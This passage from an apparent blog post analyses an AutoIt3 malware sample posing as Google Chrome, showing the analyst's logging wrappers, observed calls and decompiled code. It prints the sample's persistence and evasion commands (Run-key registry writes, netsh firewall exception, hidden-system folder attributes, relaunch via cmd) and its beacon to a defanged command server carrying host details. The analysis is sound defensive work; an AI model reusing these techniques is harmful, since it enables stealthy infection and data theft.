    &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="kt"&gt;FileCreateShortcut&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="kt"&gt;StringReplace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;".a3x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"_debug.au3"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="kt"&gt;StringReplace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;".a3x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"_debug.au3"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="kt"&gt;StringReplace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;".a3x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"_debug.au3"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="kt"&gt;StringReplace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;".a3x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"_debug.au3"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; 
        &lt;span class="n"&gt;$d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$in&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$s&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfEnvSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$env&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"EnvSet"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$env&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$v&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="kt"&gt;EnvSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$env&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt; 

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfWinGetTitle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;$res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;WinGetTitle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"WinGetTitle"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$title&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$text&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"::-&amp;gt; "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$res&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="n"&gt;$res&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfDirCopy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$dest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"DirCopy"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$src&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$dest&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt; "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;DirCopy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$dest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;     

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfDirCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"DirCreate"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$path&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;DirCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt; 

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfFileSetAttrib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$flag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$recursive&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"FileSetAttrib"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$flag&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt; "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$recursive&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;FileSetAttrib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$flag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$recursive&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfTCPConnect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"TCPConnect"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$port&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="kt"&gt;TCPConnect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the proxy part you will see &lt;code&gt;StringReplace($var, ".a3x", "_debug.au3")&lt;/code&gt;. It's one of core part of proxy. Since the process runs itself, we need to that to observe logs. If it runs unproxied version, we will not get full of logs that might be very important to us. Also in &lt;code&gt;WolfTCPNameToIP&lt;/code&gt;, I don't resolve the address correctly to prevent calling home. I just resolved it as &lt;code&gt;127.0.0.1&lt;/code&gt; instead of.&lt;/p&gt;

&lt;p&gt;After we started the program and gets logs, we have same good information what it does.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;DirCopy&lt;/code&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DirCopy("@ScriptDir", "C:\GoogleChrome", 1);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DirCopy("C:\GoogleChrome", "c:\MozillaFirefox", 1);&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It copies the script directory into &lt;code&gt;C:\GoogleChrome&lt;/code&gt; and copies the &lt;code&gt;C:\GoogleChrome&lt;/code&gt; to &lt;code&gt;c:\MozillaFirefox&lt;/code&gt;. The virus is gaining persistency with that.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;EnvSet(SEE_MASK_NOZONECHECKS, 1)&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;It disables the security warning for the files that comes from third sources. Probably to prevent the warning to prevent a downloaded file by running &lt;code&gt;ShellExecute&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;ShellExecute("netsh" "firewall add allowedprogram ""C:\GoogleChrome\GoogleChrome.exe"" ""GoogleChrome.exe"" ENABLE", "", "", 0)&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;It gives a firewall exception, so the application can call home without caught by firewall.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;FileCreateShortcut&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;It creates shortcuts into the startup folder (&lt;code&gt;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\&lt;/code&gt;) and folders that placed in root of drives.&lt;br&gt;
By creating startup folder shortcuts, the malware gains persistency in the system.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;code&gt;TCPNameToIP("googleads[.]publicvm[.]com")&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;It's probably home address, since we resolved it to &lt;code&gt;127.0.0.1&lt;/code&gt;. We can track the malware what will do with the address.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;code&gt;TCPConnect("127.0.0.1", 224)&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;It tries opening a socket that uses 224 port. I we can understand the malware tries to connect &lt;code&gt;hxxp://googleads[.]publicvm[.]com:224/&lt;/code&gt;. It's probably the command-and-control (C&amp;amp;C) server of malware. And tries hide itself like a legit Google ad server.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;code&gt;TCPSend(-1, "lv0LIONW0Zeus_44ED3C4A0LIONW0DESKTOP-KT50SE00LIONW0redwolf0LIONW00LIONW0WIN_8 X640LIONW00.3x Usb0LIONW0No-AntiVirus0LIONW0")&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;And it sending a data to C&amp;amp;C server. When we look at the string we can find a pattern that repeats, the &lt;code&gt;0LIONW0&lt;/code&gt;.&lt;br&gt;
When you use the &lt;code&gt;0LIONW0&lt;/code&gt; as delimiter, you will get &lt;code&gt;["lv", "Zeus_44ED3C4A", "DESKTOP-KT50SE0", "redwolf", "", "WIN_8 X64", "0.3x Usb", "No-AntiVirus", ""]&lt;/code&gt; array.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;lv&lt;/code&gt;, &lt;code&gt;Zeus_44EF3C4A&lt;/code&gt;, &lt;code&gt;0.3x Usb&lt;/code&gt; is not much meaningful from this perspective however. &lt;code&gt;0.3&lt;/code&gt; might be version number, &lt;code&gt;Usb&lt;/code&gt; might stands for spreading way. Also the &lt;code&gt;44EF3C4A&lt;/code&gt; looks like a hex data, it mights stands for unique id for tracking. But we need to deep-dive source code to find exactly what it means.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;redwolf&lt;/code&gt;, is username of the sandbox.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;WIN8 x64&lt;/code&gt;, Windows version and the Arch version. (Since the AutoIt version released before Windows 10, it detects as Windows 8 probably)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DESKTOP-KT50SE0&lt;/code&gt;, is device name.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;No-AntiVirus&lt;/code&gt;, I think it's self explanatory.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  &lt;code&gt;RegWrite&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Probably for persistency. When the programs updates, probably runs this commands.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate", "REG_SZ", "C:\GoogleChrome\GoogleUpdate.lnk")&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate", "REG_SZ", "C:\GoogleChrome\GoogleUpdate.lnk")&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "NewJavaInstall", "REG_SZ", "C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x")&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash", "REG_SZ", "C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x")&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  &lt;code&gt;FileSetAttrib($path, "+RSH", 0)&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;It changes folders attributes with &lt;strong&gt;R&lt;/strong&gt;ead-only, &lt;strong&gt;S&lt;/strong&gt;ystem and &lt;strong&gt;H&lt;/strong&gt;idden. It's for stay hidden even checked &lt;code&gt;Show Hidden Files&lt;/code&gt;. Those folders will stay until uncheck &lt;code&gt;Hide Protected Operating System Files (Recommended)&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FileSetAttrib("C:\GoogleChrome", "+RSH", 0)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FileSetAttrib("c:\MozillaFirefox", "+RSH", 0)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  &lt;code&gt;RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", REG_DWORD, 0)&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;It's also again a &lt;code&gt;RegWrite&lt;/code&gt; call. However the purpose is too different, so I grouped it different. It checks &lt;code&gt;Hide Protected Operating System Files (Recommended)&lt;/code&gt; programmatically, so the paths will be stay hidden even user unchecks the checkbox.&lt;/p&gt;
&lt;h2&gt;
  
  
  4. Static Analysis
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="cp"&gt;#NoTrayIcon&lt;/span&gt;
&lt;span class="cp"&gt;#Region&lt;/span&gt;
    &lt;span class="cp"&gt;#AutoIt3Wrapper_Outfile_type=a3x&lt;/span&gt;
    &lt;span class="cp"&gt;#AutoIt3Wrapper_Icon=C:\Users\xShandow\Desktop\Google-Chrome-Google-Chrome.ico&lt;/span&gt;
&lt;span class="cp"&gt;#EndRegion&lt;/span&gt;
&lt;span class="cp"&gt;#NoTrayIcon&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The malware probably compiled a &lt;code&gt;xShandow&lt;/code&gt; named user. And it tried using fake Google Chrome icon however &lt;em&gt;somehow&lt;/em&gt; mess that and the malware is using default AutoIt 3 logo. Because of the executable also taken from official runtime, not even tried to compile or change resources. Also it's using &lt;code&gt;#NoTrayIcon&lt;/code&gt; to hide tray symbol of AutoIt 3. But using that two times how helps I don't know.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;Local&lt;/span&gt; &lt;span class="n"&gt;$VRSRBTSPLNIRTCY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Zeus"&lt;/span&gt;
&lt;span class="n"&gt;$VRSRBTSPLNIRTCY&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;=&lt;/span&gt; &lt;span class="s"&gt;"_"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kt"&gt;Hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;DriveGetSerial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;@HomeDrive&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;=&lt;/code&gt; operator is not a logic operator. In AutoIt3, it's used as string concatenation function&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Did the Zeus remind something? It's origin of &lt;code&gt;Zeus_44EF3C4A&lt;/code&gt;. So &lt;code&gt;44EF3C4A&lt;/code&gt; is our home drive serial as encoded in hex.&lt;/p&gt;

&lt;p&gt;Also I will alias &lt;code&gt;$VRSRBTSPLNIRTCY&lt;/code&gt; as &lt;code&gt;$Zeus_drive_serial&lt;/code&gt;.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;Global&lt;/span&gt; &lt;span class="n"&gt;$DRJIEUIAOKSOTRF&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0.3x"&lt;/span&gt;
&lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;FileExists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"C:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome/MozillaFirefox.lnk"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
    &lt;span class="n"&gt;$DRJIEUIAOKSOTRF&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0.3x Usb"&lt;/span&gt;
&lt;span class="kt"&gt;EndIf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Also you should remember the &lt;code&gt;0.3x Usb&lt;/code&gt; in &lt;code&gt;TCPSend&lt;/code&gt;. &lt;code&gt;Usb&lt;/code&gt; part probably for reporting the malware persistence.&lt;/p&gt;

&lt;p&gt;I will alias &lt;code&gt;$DRJIEUIAOKSOTRF&lt;/code&gt; as &lt;code&gt;$03xUsb&lt;/code&gt;.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="n"&gt;$SMHPXZJFTZGXFVV&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0LIONW0"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;And the delimiter found here.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="s"&gt;"C:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome"&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="s"&gt;"vbs"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"exe"&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
    &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kt"&gt;Dead&lt;/span&gt; &lt;span class="kt"&gt;Code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;I&lt;/span&gt; &lt;span class="n"&gt;skipped&lt;/span&gt;
    &lt;span class="kt"&gt;Else&lt;/span&gt;
        &lt;span class="kt"&gt;DirCopy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;@ScriptDir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"C:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="kt"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"C:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/AutoIt3ExecuteScript C:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.a3x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@SW_HIDE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="kt"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cmd.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/c start C:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome/GoogleChrome.exe C:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome/GoogleChrome.a3x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@SW_HIDE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
